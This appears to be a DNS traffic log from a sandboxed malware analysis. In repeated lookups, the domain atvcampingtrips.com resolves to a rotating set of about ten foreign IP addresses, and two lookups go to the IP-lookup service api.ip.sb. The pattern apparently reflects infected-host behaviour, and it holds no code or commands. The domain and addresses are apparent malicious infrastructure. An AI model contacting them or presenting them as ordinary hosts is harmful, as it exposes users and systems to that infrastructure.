Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.187423944 CEST	8.8.8.8	192.168.2.7	0x2e77	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.153821945 CEST	8.8.8.8	192.168.2.7	0xa012	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.086863995 CEST	8.8.8.8	192.168.2.7	0xf29	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.993108988 CEST	8.8.8.8	192.168.2.7	0x8bf5	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:26.617621899 CEST	8.8.8.8	192.168.2.7	0xf31c	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 21, 2021 21:46:26.686244965 CEST	8.8.8.8	192.168.2.7	0xa142	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.842252016 CEST	8.8.8.8	192.168.2.7	0xf36c	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.594883919 CEST	8.8.8.8	192.168.2.7	0xa504	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.382246971 CEST	8.8.8.8	192.168.2.7	0xd779	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.126784086 CEST	8.8.8.8	192.168.2.7	0xd02	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.001101971 CEST	8.8.8.8	192.168.2.7	0xf5d	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.738671064 CEST	8.8.8.8	192.168.2.7	0x5027	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.163688898 CEST	8.8.8.8	192.168.2.7	0x6e91	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.602931023 CEST	8.8.8.8	192.168.2.7	0x90ac	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.971970081 CEST	8.8.8.8	192.168.2.7	0x9701	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.949588060 CEST	8.8.8.8	192.168.2.7	0x7179	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.008037090 CEST	8.8.8.8	192.168.2.7	0x7557	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.960527897 CEST	8.8.8.8	192.168.2.7	0xaf92	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
